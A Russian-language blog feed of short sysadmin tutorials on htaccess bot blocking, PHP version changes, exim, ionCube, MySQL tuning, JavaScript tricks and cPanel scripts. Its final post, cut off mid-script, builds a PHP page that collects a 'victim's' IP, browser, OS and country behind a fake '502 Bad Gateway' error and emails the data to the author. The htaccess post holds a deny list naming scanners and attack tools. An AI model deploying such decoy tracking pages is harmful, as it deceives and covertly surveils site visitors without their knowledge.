LEXBLOG.org https://lexblog.org Информационный сайт Wed, 27 Nov 2019 00:30:05 +0300 ru-RU hourly 1 https://lexblog.org/wp-content/uploads/2019/09/logo_x-150x150.png LEXBLOG.org https://lexblog.org 32 32 Защита от ботов через htaccess https://lexblog.org/zashhita-ot-botov-cherez-htaccess/ https://lexblog.org/zashhita-ot-botov-cherez-htaccess/#respond Wed, 27 Nov 2019 00:30:05 +0000 https://lexblog.org/?p=1097 В файл htaccess Вашего файла пропишите следующий код:

#badbots
# Блокируем плохие боты
SetEnvIfNoCase User-Agent "Aboundex" bad_bot
SetEnvIfNoCase User-Agent "80legs" bad_bot
SetEnvIfNoCase User-Agent "360Spider" bad_bot
SetEnvIfNoCase User-Agent "^Java" bad_bot
SetEnvIfNoCase User-Agent "^Cogentbot" bad_bot
SetEnvIfNoCase User-Agent "^Alexibot" bad_bot
SetEnvIfNoCase User-Agent "^asterias" bad_bot
SetEnvIfNoCase User-Agent "^attach" bad_bot
SetEnvIfNoCase User-Agent "^BackDoorBot" bad_bot
SetEnvIfNoCase User-Agent "^BackWeb" bad_bot
SetEnvIfNoCase User-Agent "Bandit" bad_bot
SetEnvIfNoCase User-Agent "^BatchFTP" bad_bot
SetEnvIfNoCase User-Agent "^Bigfoot" bad_bot
SetEnvIfNoCase User-Agent "^Black.Hole" bad_bot
SetEnvIfNoCase User-Agent "^BlackWidow" bad_bot
SetEnvIfNoCase User-Agent "^BlowFish" bad_bot
SetEnvIfNoCase User-Agent "^BotALot" bad_bot
SetEnvIfNoCase User-Agent "Buddy" bad_bot
SetEnvIfNoCase User-Agent "^BuiltBotTough" bad_bot
SetEnvIfNoCase User-Agent "^Bullseye" bad_bot
SetEnvIfNoCase User-Agent "^BunnySlippers" bad_bot
SetEnvIfNoCase User-Agent "^Cegbfeieh" bad_bot
SetEnvIfNoCase User-Agent "^CheeseBot" bad_bot
SetEnvIfNoCase User-Agent "^CherryPicker" bad_bot
SetEnvIfNoCase User-Agent "^ChinaClaw" bad_bot
SetEnvIfNoCase User-Agent "Collector" bad_bot
SetEnvIfNoCase User-Agent "Copier" bad_bot
SetEnvIfNoCase User-Agent "^CopyRightCheck" bad_bot
SetEnvIfNoCase User-Agent "^cosmos" bad_bot
SetEnvIfNoCase User-Agent "^Crescent" bad_bot
SetEnvIfNoCase User-Agent "^Custo" bad_bot
SetEnvIfNoCase User-Agent "^AIBOT" bad_bot
SetEnvIfNoCase User-Agent "^DISCo" bad_bot
SetEnvIfNoCase User-Agent "^DIIbot" bad_bot
SetEnvIfNoCase User-Agent "^DittoSpyder" bad_bot
SetEnvIfNoCase User-Agent "^Download\ Demon" bad_bot
SetEnvIfNoCase User-Agent "^Download\ Devil" bad_bot
SetEnvIfNoCase User-Agent "^Download\ Wonder" bad_bot
SetEnvIfNoCase User-Agent "^dragonfly" bad_bot
SetEnvIfNoCase User-Agent "^Drip" bad_bot
SetEnvIfNoCase User-Agent "^eCatch" bad_bot
SetEnvIfNoCase User-Agent "^EasyDL" bad_bot
SetEnvIfNoCase User-Agent "^ebingbong" bad_bot
SetEnvIfNoCase User-Agent "^EirGrabber" bad_bot
SetEnvIfNoCase User-Agent "^EmailCollector" bad_bot
SetEnvIfNoCase User-Agent "^EmailSiphon" bad_bot
SetEnvIfNoCase User-Agent "^EmailWolf" bad_bot
SetEnvIfNoCase User-Agent "^EroCrawler" bad_bot
SetEnvIfNoCase User-Agent "^Exabot" bad_bot
SetEnvIfNoCase User-Agent "^Express\ WebPictures" bad_bot
SetEnvIfNoCase User-Agent "Extractor" bad_bot
SetEnvIfNoCase User-Agent "^EyeNetIE" bad_bot
SetEnvIfNoCase User-Agent "^Foobot" bad_bot
SetEnvIfNoCase User-Agent "^flunky" bad_bot
SetEnvIfNoCase User-Agent "^FrontPage" bad_bot
SetEnvIfNoCase User-Agent "^Go-Ahead-Got-It" bad_bot
SetEnvIfNoCase User-Agent "^gotit" bad_bot
SetEnvIfNoCase User-Agent "^GrabNet" bad_bot
SetEnvIfNoCase User-Agent "^Grafula" bad_bot
SetEnvIfNoCase User-Agent "^Harvest" bad_bot
SetEnvIfNoCase User-Agent "^hloader" bad_bot
SetEnvIfNoCase User-Agent "^HMView" bad_bot
SetEnvIfNoCase User-Agent "^HTTrack" bad_bot
SetEnvIfNoCase User-Agent "^humanlinks" bad_bot
SetEnvIfNoCase User-Agent "^IlseBot" bad_bot
SetEnvIfNoCase User-Agent "^Image\ Stripper" bad_bot
SetEnvIfNoCase User-Agent "^Image\ Sucker" bad_bot
SetEnvIfNoCase User-Agent "Indy\ Library" bad_bot
SetEnvIfNoCase User-Agent "^InfoNaviRobot" bad_bot
SetEnvIfNoCase User-Agent "^InfoTekies" bad_bot
SetEnvIfNoCase User-Agent "^Intelliseek" bad_bot
SetEnvIfNoCase User-Agent "^InterGET" bad_bot
SetEnvIfNoCase User-Agent "^Internet\ Ninja" bad_bot
SetEnvIfNoCase User-Agent "^Iria" bad_bot
SetEnvIfNoCase User-Agent "^Jakarta" bad_bot
SetEnvIfNoCase User-Agent "^JennyBot" bad_bot
SetEnvIfNoCase User-Agent "^JetCar" bad_bot
SetEnvIfNoCase User-Agent "^JOC" bad_bot
SetEnvIfNoCase User-Agent "^JustView" bad_bot
SetEnvIfNoCase User-Agent "^Jyxobot" bad_bot
SetEnvIfNoCase User-Agent "^Kenjin.Spider" bad_bot
SetEnvIfNoCase User-Agent "^Keyword.Density" bad_bot
SetEnvIfNoCase User-Agent "^larbin" bad_bot
SetEnvIfNoCase User-Agent "^LexiBot" bad_bot
SetEnvIfNoCase User-Agent "^lftp" bad_bot
SetEnvIfNoCase User-Agent "^libWeb/clsHTTP" bad_bot
SetEnvIfNoCase User-Agent "^likse" bad_bot
SetEnvIfNoCase User-Agent "^LinkextractorPro" bad_bot
SetEnvIfNoCase User-Agent "^LinkScan/8.1a.Unix" bad_bot
SetEnvIfNoCase User-Agent "^LNSpiderguy" bad_bot
SetEnvIfNoCase User-Agent "^LinkWalker" bad_bot
SetEnvIfNoCase User-Agent "^lwp-trivial" bad_bot
SetEnvIfNoCase User-Agent "^LWP::Simple" bad_bot
SetEnvIfNoCase User-Agent "^Magnet" bad_bot
SetEnvIfNoCase User-Agent "^Mag-Net" bad_bot
SetEnvIfNoCase User-Agent "^MarkWatch" bad_bot
SetEnvIfNoCase User-Agent "^Mass\ Downloader" bad_bot
SetEnvIfNoCase User-Agent "^Mata.Hari" bad_bot
SetEnvIfNoCase User-Agent "^Memo" bad_bot
SetEnvIfNoCase User-Agent "^Microsoft.URL" bad_bot
SetEnvIfNoCase User-Agent "^Microsoft\ URL\ Control" bad_bot
SetEnvIfNoCase User-Agent "^MIDown\ tool" bad_bot
SetEnvIfNoCase User-Agent "^MIIxpc" bad_bot
SetEnvIfNoCase User-Agent "^Mirror" bad_bot
SetEnvIfNoCase User-Agent "^Missigua\ Locator" bad_bot
SetEnvIfNoCase User-Agent "^Mister\ PiX" bad_bot
SetEnvIfNoCase User-Agent "^moget" bad_bot
SetEnvIfNoCase User-Agent "^Mozilla/3.Mozilla/2.01" bad_bot
SetEnvIfNoCase User-Agent "^Mozilla.*NEWT" bad_bot
SetEnvIfNoCase User-Agent "^NAMEPROTECT" bad_bot
SetEnvIfNoCase User-Agent "^Navroad" bad_bot
SetEnvIfNoCase User-Agent "^NearSite" bad_bot
SetEnvIfNoCase User-Agent "^NetAnts" bad_bot
SetEnvIfNoCase User-Agent "^Netcraft" bad_bot
SetEnvIfNoCase User-Agent "^NetMechanic" bad_bot
SetEnvIfNoCase User-Agent "^NetSpider" bad_bot
SetEnvIfNoCase User-Agent "^Net\ Vampire" bad_bot
SetEnvIfNoCase User-Agent "^NetZIP" bad_bot
SetEnvIfNoCase User-Agent "^NextGenSearchBot" bad_bot
SetEnvIfNoCase User-Agent "^NG" bad_bot
SetEnvIfNoCase User-Agent "^NICErsPRO" bad_bot
SetEnvIfNoCase User-Agent "^niki-bot" bad_bot
SetEnvIfNoCase User-Agent "^NimbleCrawler" bad_bot
SetEnvIfNoCase User-Agent "^Ninja" bad_bot
SetEnvIfNoCase User-Agent "^NPbot" bad_bot
SetEnvIfNoCase User-Agent "^Octopus" bad_bot
SetEnvIfNoCase User-Agent "^Offline\ Explorer" bad_bot
SetEnvIfNoCase User-Agent "^Offline\ Navigator" bad_bot
SetEnvIfNoCase User-Agent "^Openfind" bad_bot
SetEnvIfNoCase User-Agent "^OutfoxBot" bad_bot
SetEnvIfNoCase User-Agent "^PageGrabber" bad_bot
SetEnvIfNoCase User-Agent "^Papa\ Foto" bad_bot
SetEnvIfNoCase User-Agent "^pavuk" bad_bot
SetEnvIfNoCase User-Agent "^pcBrowser" bad_bot
SetEnvIfNoCase User-Agent "^PHP\ version\ tracker" bad_bot
SetEnvIfNoCase User-Agent "^Pockey" bad_bot
SetEnvIfNoCase User-Agent "^ProPowerBot/2.14" bad_bot
SetEnvIfNoCase User-Agent "^ProWebWalker" bad_bot
SetEnvIfNoCase User-Agent "^psbot" bad_bot
SetEnvIfNoCase User-Agent "^Pump" bad_bot
SetEnvIfNoCase User-Agent "^QueryN.Metasearch" bad_bot
SetEnvIfNoCase User-Agent "^RealDownload" bad_bot
SetEnvIfNoCase User-Agent "Reaper" bad_bot
SetEnvIfNoCase User-Agent "Recorder" bad_bot
SetEnvIfNoCase User-Agent "^ReGet" bad_bot
SetEnvIfNoCase User-Agent "^RepoMonkey" bad_bot
SetEnvIfNoCase User-Agent "^RMA" bad_bot
SetEnvIfNoCase User-Agent "Siphon" bad_bot
SetEnvIfNoCase User-Agent "^SiteSnagger" bad_bot
SetEnvIfNoCase User-Agent "^SlySearch" bad_bot
SetEnvIfNoCase User-Agent "^SmartDownload" bad_bot
SetEnvIfNoCase User-Agent "^Snake" bad_bot
SetEnvIfNoCase User-Agent "^Snapbot" bad_bot
SetEnvIfNoCase User-Agent "^Snoopy" bad_bot
SetEnvIfNoCase User-Agent "^sogou" bad_bot
SetEnvIfNoCase User-Agent "^SpaceBison" bad_bot
SetEnvIfNoCase User-Agent "^SpankBot" bad_bot
SetEnvIfNoCase User-Agent "^spanner" bad_bot
SetEnvIfNoCase User-Agent "^Sqworm" bad_bot
SetEnvIfNoCase User-Agent "Stripper" bad_bot
SetEnvIfNoCase User-Agent "Sucker" bad_bot
SetEnvIfNoCase User-Agent "^SuperBot" bad_bot
SetEnvIfNoCase User-Agent "^SuperHTTP" bad_bot
SetEnvIfNoCase User-Agent "^Surfbot" bad_bot
SetEnvIfNoCase User-Agent "^suzuran" bad_bot
SetEnvIfNoCase User-Agent "^Szukacz/1.4" bad_bot
SetEnvIfNoCase User-Agent "^tAkeOut" bad_bot
SetEnvIfNoCase User-Agent "^Teleport" bad_bot
SetEnvIfNoCase User-Agent "^Telesoft" bad_bot
SetEnvIfNoCase User-Agent "^TurnitinBot/1.5" bad_bot
SetEnvIfNoCase User-Agent "^The.Intraformant" bad_bot
SetEnvIfNoCase User-Agent "^TheNomad" bad_bot
SetEnvIfNoCase User-Agent "^TightTwatBot" bad_bot
SetEnvIfNoCase User-Agent "^Titan" bad_bot
SetEnvIfNoCase User-Agent "^True_Robot" bad_bot
SetEnvIfNoCase User-Agent "^turingos" bad_bot
SetEnvIfNoCase User-Agent "^TurnitinBot" bad_bot
SetEnvIfNoCase User-Agent "^URLy.Warning" bad_bot
SetEnvIfNoCase User-Agent "^Vacuum" bad_bot
SetEnvIfNoCase User-Agent "^VCI" bad_bot
SetEnvIfNoCase User-Agent "^VoidEYE" bad_bot
SetEnvIfNoCase User-Agent "^Web\ Image\ Collector" bad_bot
SetEnvIfNoCase User-Agent "^Web\ Sucker" bad_bot
SetEnvIfNoCase User-Agent "^WebAuto" bad_bot
SetEnvIfNoCase User-Agent "^WebBandit" bad_bot
SetEnvIfNoCase User-Agent "^Webclipping.com" bad_bot
SetEnvIfNoCase User-Agent "^WebCopier" bad_bot
SetEnvIfNoCase User-Agent "^WebEMailExtrac.*" bad_bot
SetEnvIfNoCase User-Agent "^WebEnhancer" bad_bot
SetEnvIfNoCase User-Agent "^WebFetch" bad_bot
SetEnvIfNoCase User-Agent "^WebGo\ IS" bad_bot
SetEnvIfNoCase User-Agent "^Web.Image.Collector" bad_bot
SetEnvIfNoCase User-Agent "^WebLeacher" bad_bot
SetEnvIfNoCase User-Agent "^WebmasterWorldForumBot" bad_bot
SetEnvIfNoCase User-Agent "^WebReaper" bad_bot
SetEnvIfNoCase User-Agent "^WebSauger" bad_bot
SetEnvIfNoCase User-Agent "^Website\ eXtractor" bad_bot
SetEnvIfNoCase User-Agent "^Website\ Quester" bad_bot
SetEnvIfNoCase User-Agent "^Webster" bad_bot
SetEnvIfNoCase User-Agent "^WebStripper" bad_bot
SetEnvIfNoCase User-Agent "^WebWhacker" bad_bot
SetEnvIfNoCase User-Agent "^WebZIP" bad_bot
SetEnvIfNoCase User-Agent "Whacker" bad_bot
SetEnvIfNoCase User-Agent "^Widow" bad_bot
SetEnvIfNoCase User-Agent "^WISENutbot" bad_bot
SetEnvIfNoCase User-Agent "^WWWOFFLE" bad_bot
SetEnvIfNoCase User-Agent "^WWW-Collector-E" bad_bot
SetEnvIfNoCase User-Agent "^Xaldon" bad_bot
SetEnvIfNoCase User-Agent "^Xenu" bad_bot
SetEnvIfNoCase User-Agent "^Zeus" bad_bot
SetEnvIfNoCase User-Agent "ZmEu" bad_bot
SetEnvIfNoCase User-Agent "^Zyborg" bad_bot

# Блокируем плохие сканеры
SetEnvIfNoCase User-Agent "Acunetix" bad_bot
SetEnvIfNoCase User-Agent "FHscan" bad_bot

# Блокируем ненужные поисковики
SetEnvIfNoCase User-Agent "Baiduspider" bad_bot

<Limit GET POST HEAD>
Order Allow,Deny
Allow from all

# Блокируем плохие IP
deny from 38.100.19.8/29
deny from 38.100.21.0/24
deny from 38.100.41.64/26
deny from 38.105.71.0/25
deny from 38.105.83.0/27
deny from 38.112.21.140/30
deny from 38.118.42.32/29
deny from 65.213.208.128/27
deny from 65.222.176.96/27
deny from 65.222.185.72/29
deny from 144.76.28.10

Deny from env=bad_bot
</Limit>

]]>
https://lexblog.org/zashhita-ot-botov-cherez-htaccess/feed/ 0
Смена версии PHP на VestaCP. Centos 7 https://lexblog.org/smena-versii-php-na-vestacp-centos-7/ https://lexblog.org/smena-versii-php-na-vestacp-centos-7/#respond Tue, 29 Oct 2019 15:40:10 +0000 https://lexblog.org/?p=1092 Сейчас по умолчанию VestaCP ставит версию PHP 7.4 по умолчанию.

Вернем версию PHP 5.6 для наших сайтов. Сперва заходим на сервер по ssh и выполняем команду:

yum update -y --enablerepo=remi-php56

Останавливаем apache:

service httpd stop

Удаляем активную версию командой:

yum -y remove php

Ставим PHP 5.6:

yum install php56-php 

yum install php56-php-pear php56-php-bcmath php56-php-pecl-jsond-devel php56-php-mysqlnd php56-php-gd php56-php-common php56-php-fpm php56-php-intl php56-php-cli php56-php php56-php-xml php56-php-opcache php56-php-pecl-apcu php56-php-pecl-jsond php56-php-pdo php56-php-gmp php56-php-process php56-php-pecl-imagick php56-php-devel php56-php-mbstring

Останавливаем старую службу PHP-FPM и запускаем новую:

service php-fpm stop 
service php56-php-fpm start 
service httpd restart

Создаём символическую ссылку на новый PHP, но сначала переименуем старый:

mv /usr/bin/php /usr/bin/php74

ln -s /usr/bin/php56 /usr/bin/php

Перезапускаем apache и проверяем версию PHP:

service httpd restart

php -v

Вывод:

[root@vps49459 ioncube]# php -v
PHP 5.6.40 (cli) (built: Oct 22 2019 09:23:49)
Copyright (c) 1997-2016 The PHP Group
Zend Engine v2.6.0, Copyright (c) 1998-2016 Zend Technologies
with Zend OPcache v7.0.6-dev, Copyright (c) 1999-2016, by Zend Technologies

Учтите, что конфигурационный файл php будет теперь в другой папке: /opt/remi/php56/root/etc/php.ini

Так как например, если на нужно установить IonCube Loader — то для его подключения нужно редактировать его. Вы так же можете сделать символическую ссылку на /etc/php.ini

Удачи 🙂

]]>
https://lexblog.org/smena-versii-php-na-vestacp-centos-7/feed/ 0
Ошибка. Temporary local problem — please try later. https://lexblog.org/oshibka-temporary-local-problem-please-try-later/ https://lexblog.org/oshibka-temporary-local-problem-please-try-later/#respond Mon, 28 Oct 2019 13:10:30 +0000 https://lexblog.org/?p=1089 При отправке писем из почтового клиента или Roundcube иногда возникает ошибка:

Temporary local problem - please try later.

Заходим на сервер по ssh и редактируем файл:

nano /etc/host.allow

Записываем в файл следующее:

exim: ALL

Если не помогло, редактируем конфиг exim:

nano /etc/exim/exim.conf

Ищем строку:

malware = *

Заменяем эту строку на:

malware = */defer_ok

Перезагружаем exim и проверяем работу почты:

service exim restart

Готово 🙂

]]>
https://lexblog.org/oshibka-temporary-local-problem-please-try-later/feed/ 0
Установка ionCube Loader https://lexblog.org/ustanovka-ioncube-loader/ https://lexblog.org/ustanovka-ioncube-loader/#respond Fri, 25 Oct 2019 15:30:36 +0000 https://lexblog.org/?p=1086 Подключаемся к серверу по SSH и качаем архив с сайта ioncube

Для 32-разрядных систем:

wget http://downloads3.ioncube.com/loader_downloads/ioncube_loaders_lin_x86.tar.gz

Для 64-разрядных систем:

wget http://downloads3.ioncube.com/loader_downloads/ioncube_loaders_lin_x86-64.tar.gz

Далее распаковываем скаченный архив:

tar -zxvf ioncube_loaders_lin_x86.tar.gz

или

tar -zxvf ioncube_loaders_lin_x86.-64tar.gz

Создаём папку для ioncube:

mkdir /usr/local/ioncube

Смотрим версию PHP, которая установлена на сервере, командой:

php -v

Копируем нужный файлы ioncube для нашей версии PHP в папку ioncube, которую мы создали ранее:

cp ioncube/ioncube_loader_lin_5.4* /usr/local/ioncube

В данном случае, мы взяли файлы для PHP версии 5.4. Если у Вас другая версия, например 5.6, значит переносим для 5.6:

cp ioncube/ioncube_loader_lin_5.6* /usr/local/ioncube

Добавляем строки в конфигурационный файл PHP, чтобы подключить ionCube:

nano /etc/php.ini

Добавляем в конец файла:

[Zend]
zend_extension = /usr/local/ioncube/ioncube_loader_lin_5.3.so
zend_extension_ts = /usr/local/ioncube/ioncube_loader_lin_5.3_ts.so

И перезагружаем веб-сервер:

service httpd restart

Или:

/etc/init.d/httpd restart

Готов 🙂

]]>
https://lexblog.org/ustanovka-ioncube-loader/feed/ 0
Более чем оптимальные конфиги MYSQL для разных серверов https://lexblog.org/bolee-chem-optimalnye-konfigi-mysql-dlya-raznyh-serverov/ https://lexblog.org/bolee-chem-optimalnye-konfigi-mysql-dlya-raznyh-serverov/#comments Fri, 18 Oct 2019 11:54:53 +0000 https://lexblog.org/?p=1081 1GB:

skip-external-locking
max_allowed_packet          = 16M
key_buffer_size             = 16M
innodb_buffer_pool_size     = 512M
innodb_file_per_table       = 1
innodb_flush_method         = O_DIRECT
innodb_flush_log_at_trx_commit  = 0
max_connections             = 132
query_cache_size            = 0
long_query_time             = 1
expire_logs_days            = 10
max_binlog_size             = 100M

2GB:

skip-external-locking
max_allowed_packet          = 16M
key_buffer_size             = 16M
innodb_buffer_pool_size     = 1024M
innodb_file_per_table       = 1
innodb_flush_method         = O_DIRECT
innodb_flush_log_at_trx_commit  = 0
max_connections             = 136
query_cache_size            = 0
long_query_time             = 1
expire_logs_days            = 10
max_binlog_size             = 100M

4GB:

skip-external-locking
max_allowed_packet          = 16M
key_buffer_size             = 16M
innodb_buffer_pool_size     = 2048M
innodb_file_per_table       = 1
innodb_flush_method         = O_DIRECT
innodb_flush_log_at_trx_commit  = 0
max_connections             = 144
query_cache_size            = 0
long_query_time             = 1
expire_logs_days            = 10
max_binlog_size             = 100M

8GB:

skip-external-locking
max_allowed_packet          = 16M
key_buffer_size             = 16M
innodb_buffer_pool_size     = 4096M
innodb_file_per_table       = 1
innodb_flush_method         = O_DIRECT
innodb_flush_log_at_trx_commit  = 0
max_connections             = 160
      query_cache_size            = 0
long_query_time             = 1
expire_logs_days            = 10
max_binlog_size             = 100M

16GB:

skip-external-locking
max_allowed_packet          = 16M
key_buffer_size             = 16M
innodb_buffer_pool_size     = 8192M
innodb_file_per_table       = 1
innodb_flush_method         = O_DIRECT
innodb_flush_log_at_trx_commit  = 0
max_connections             = 192
query_cache_size            = 0
long_query_time             = 1
expire_logs_days            = 10
max_binlog_size             = 100M

Так же не забывать удалять старые буферы в /var/lib/mysql/ после правки конфигов. 

]]>
https://lexblog.org/bolee-chem-optimalnye-konfigi-mysql-dlya-raznyh-serverov/feed/ 4
Добавить картинку в console.log javascript https://lexblog.org/dobavit-kartinku-v-console-log-javascript/ https://lexblog.org/dobavit-kartinku-v-console-log-javascript/#comments Fri, 18 Oct 2019 11:24:24 +0000 https://lexblog.org/?p=1078 В браузерах, при открытии консоли можно добавить картинку. Например, добавить некую пасхалку на сайт можно следующим образом.

В заголовках страницы добавляем код:

console.log('%c ', 'font-size:600px; background:url(https://pics.me.me/codeit-google-until-youfinda-stackoverflow-answerwith-code-to-copy-paste-34126823.png) no-repeat;');

Где мы прописываем ссылку на картинку и размер через параметр font-size:600px. Это потому, что в данном коже мы просто увеличиваем текст.

Есть более лучшее решение:

<script type="text/javascript">
(function(url) {
var image = new Image();
image.onload = function() {
var style = [
'font-size: 1px;',
'line-height: ' + this.height + 'px;',
'padding: ' + this.height * .0 + 'px ' + this.width * .5 + 'px;',
'background-size: ' + this.width + 'px ' + this.height + 'px;',
'background: url('+ url +');'
].join(' ');
console.log("%c ", style);
};
image.src = url;
})('https://lexblog.org/wp-content/uploads/2019/09/vyydi-otsyuda-razboynik-3.jpg');
</script>

С этим кодом результат будет лучше, так как будет видна только картинка без всяких отступов, в отличии от предыдущего кода.

Удачи 🙂

]]>
https://lexblog.org/dobavit-kartinku-v-console-log-javascript/feed/ 3
Обновлять часть контента на странице javascript https://lexblog.org/obnovlyat-chast-kontenta-na-stranitse-javascript/ https://lexblog.org/obnovlyat-chast-kontenta-na-stranitse-javascript/#respond Sat, 12 Oct 2019 14:39:36 +0000 https://lexblog.org/?p=1013 Если на странице нужно обновлять часть данных и не ставить на автоматическую перезагрузку целую страницу, можно обновлять только нужную нас часть.

Контент который который нам нужен для обновления, необходимо заключить в отдельный div в html разметке с определённым id. К примеру у меня есть часть скрипта который выводит load average на машине:

<div  id="scores3"><?php system('uptime | cut -f5 -d ":"'); ?></div>

id у него scores3. В мета теги добавляем код javascript:

<script type="text/javascript">
setInterval(function(){
$("#scores3").load("index.php #scores3");
}, 3000); 
</script>

Где мы указываем id нашего div и саму страницу, в данном случае это index.php.

3000 — время обновления страницы.

]]>
https://lexblog.org/obnovlyat-chast-kontenta-na-stranitse-javascript/feed/ 0
Создание базы данных в cPanel API bash консоль https://lexblog.org/sozdanie-bazy-dannyh-v-cpanel-api-bash-konsol/ https://lexblog.org/sozdanie-bazy-dannyh-v-cpanel-api-bash-konsol/#respond Sat, 12 Oct 2019 13:19:07 +0000 https://lexblog.org/?p=1009 Допустим есть задача заскриптовать создание базы\пользователя mysql на аккаунте в cPanel. Для этого будем использовать IP.

Чтобы создать базу данных на аккаунте, используем команду:

uapi Mysql create_database name="yourlogin_NAMEDATABASE"

Где, yourlogin — логин аккаунта cPanel, NAMEDATABASE — название базы после логина аккаунта.

Чтобы создать пользователя базы данных и задать ему пароль, используем команду:

uapi Mysql create_user name="yourlogin_NAMEUSER" password="PASS"

Где, Где, yourlogin — логин аккаунта cPanel, NAMEUSER — название пользователя после логина аккаунта, PASS — пароль создаваемого пользователя.

Чтобы добавить созданного пользователя в нашу базу, выполняем команду:

uapi Mysql set_privileges_on_database user="yourlogin_NAMEUSER" database="yourlogin_NAMEDATABASE" privileges=ALL%20PRIVILEGES

Можно так же написать скрипт, который будет создавать всё автоматически и выводить базу данных, пользователя и пароль. Пример скрипта:

#!/bin/bash
LOGIN_HOST="yourlogin"
PASS_DB=$(cat /dev/urandom | tr -d -c '0-9a-zA-Z' | fold -w 10 | head -1)
NAME_DB=$(cat /dev/urandom | tr -d -c '0-9a-zA-Z' | fold -w 8 | head -1)

#create database
uapi Mysql create_database name="$LOGIN_HOST"_"$NAME_DB"

#create user
uapi Mysql create_user name="$LOGIN_HOST"_"$NAME_DB" password="$PASS_DB"

#privileges
uapi Mysql set_privileges_on_database user="$LOGIN_HOST"_"$NAME_DB" database="$LOGIN_HOST"_"$NAME_DB" privileges=ALL%20PRIVILEGES

clear

echo "$LOGIN_HOST"_"$NAME_DB" 
echo "$PASS_DB"

Разберём переменные:

LOGIN_HOST — содержим имя пользователя аккаунта cPanel.
PASS_DB — генерирует пароль для пользователя базы данных.
NAME_DB — генерирует название для пользователя и базы.

Тем самым, название пользователя и базы данных у нас будут одинаковыми.

]]>
https://lexblog.org/sozdanie-bazy-dannyh-v-cpanel-api-bash-konsol/feed/ 0
Скрипт PHP для получения IP, браузера и ос посетителя https://lexblog.org/skript-php-dlya-polucheniya-ip-brauzera-i-os-posetitelya/ https://lexblog.org/skript-php-dlya-polucheniya-ip-brauzera-i-os-posetitelya/#respond Fri, 11 Oct 2019 13:01:03 +0000 https://lexblog.org/?p=1005 Рассмотрим как можно сделать простой скрип для получения IP, браузера и ос жертвы.

Получить данные можно просто :

$user_agent = $_SERVER["HTTP_USER_AGENT"];

Переменная даём нам строку пользовательского агента — это текст, который сами браузеры отправляют на веб-сервер, чтобы идентифицировать себя, чтобы веб-сайты могли отправлять разные материалы на основе браузера или на основе совместимости с браузером. Пример вывода этих данные будет таков:

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36

Тут видно, что  используется браузер Chrome и операционная система LINUX.

Обратите внимание, что эти данные можно легко подменить!

Чтобы не выводить целую строку, можно написать простой скрипт для вывода только IP, браузера и ОС:

$IP = $_SERVER["REMOTE_ADDR"];
$firefox = "Firefox";
$opera = "Opera";
$chrome = "Chrome";
$explorer = "Internet Explorer";
$safari = "Safari";
$edit_b = "unknown";
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (strpos($user_agent, "Firefox") !== false) $osystem = "$firefox";
elseif (strpos($user_agent, "Opera") !== false) $osystem = "$opera";
elseif (strpos($user_agent, "Chrome") !== false) $osystem = "$chrome";
elseif (strpos($user_agent, "MSIE") !== false) $osystem = "$explorer";
elseif (strpos($user_agent, "Safari") !== false) $osystem = "$safari";
else $osystem = "$edit_b";
$win = "Windows";
$linux = "Linux";
$ios = "iOS";
$edit_b = "unknown";
$user_agent = getenv("HTTP_USER_AGENT");
if (strpos($user_agent, "Windows") !== false) $browser = "$win";
elseif (strpos($user_agent, "Linux") !== false) $browser = "$linux";
elseif (strpos($user_agent, "iOS") !== false) $browser = "$ios";
else $browser = "$edit_b";
echo "IP= $IP 
browser= $browser 
system= $osystem";

Тем самым будет выводиться следующие данные:

IP= 123.45.67.890
browser= Linux
system= Chrome

Добавим еще маленький скрипт определения геолокации:

$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = array('country'=>'', 'city'=>'');

if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
else $ip = $remote;

$ip_data = @json_decode(file_get_contents("http://www.geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin_countryName != null)
{
$result = $ip_data->geoplugin_countryCode;
}
echo "$result";

В итоге мы получим готовый скрипт определения IP, браузера, операционной системы и геолокацию.

Всё это можно подменить чем угодно. Давайте замаскируем всё это под ошибку сервер, чтобы ничего не подозревали. То есть, посетитель будет открывать сайт, будет видеть ошибку и просто закроет сайт, а данные упадут нам на почту.

Чтобы отправить все данные на почту, дописываем вот такой скрипт отправки сообщения, и в переменную $message пропишем все выводы:

$to = 'YOUR_MAIL@MAIL.COM';
$subject = 'the subject';
$message = "IP= $IP 
browser= $browser 
system= $osystem
$user_agent
$result";
$headers = 'From: webmaster@example.com' . "\r\n" .
'Reply-To: webmaster@example.com' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $message, $headers);

В переменную $to прописываем свою почту, на которую мы должны получить результаты, из самого скрипта удаляем все строки с выводом echo.

В начале добавляем простой HTML шаблон ошибки, например, 502:

<center><h1>502 Bad Gateway</h1><hr>nginx/0.6.73</center>

В итоге у нас должен получится такой скрипт:

<?php
echo "<center><h1>502 Bad Gateway</h1><hr>nginx/0.6.73</center>";
$IP = $_SERVER["REMOTE_ADDR"];
$firefox = "Firefox";
$opera = "Opera";
$chrome = "Chrome";
$explorer = "Internet Explorer";
$safari = "Safari";
$edit_b = "unknown";
$user_agent = $_SERVER["HTTP_USER_AGENT"];
if (strpos($user_agent, "Firefox") !== false) $osystem = "$firefox";
elseif (strpos($user_agent, "Opera") !== false) $osystem = "$opera";
elseif (strpos($user_agent, "Chrome") !== false) $osystem = "$chrome";
elseif (strpos($user_agent, "MSIE") !== false) $osystem = "$explorer";
elseif (strpos($user_agent, "Safari") !== false) $osystem = "$safari";
else $osystem = "$edit_b";
$win = "Windows";
$linux = "Linux";
$ios = "iOS";
$edit_b = "unknown";
$user_agent = getenv("HTTP_USER_AGENT");
if (strpos($user_agent, "Windows") !== false) $browser = "$win";
elseif (strpos($user_agent, "Linux") !== false) $browser = "$linux";
elseif (strpos($user_agent, "iOS") !== false) $browser = "$ios";
else $browser = "$edit_b";

$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = @$_SERVER['REMOTE_ADDR'];
$result = array('country'=>'', 'city'=>'');

if(filter_var($client, FILTER_VALIDATE_IP)) $ip = $client;
elseif(filter_var($forward, FILTER_VALIDATE_IP)) $ip = $forward;
else $ip = $remote;

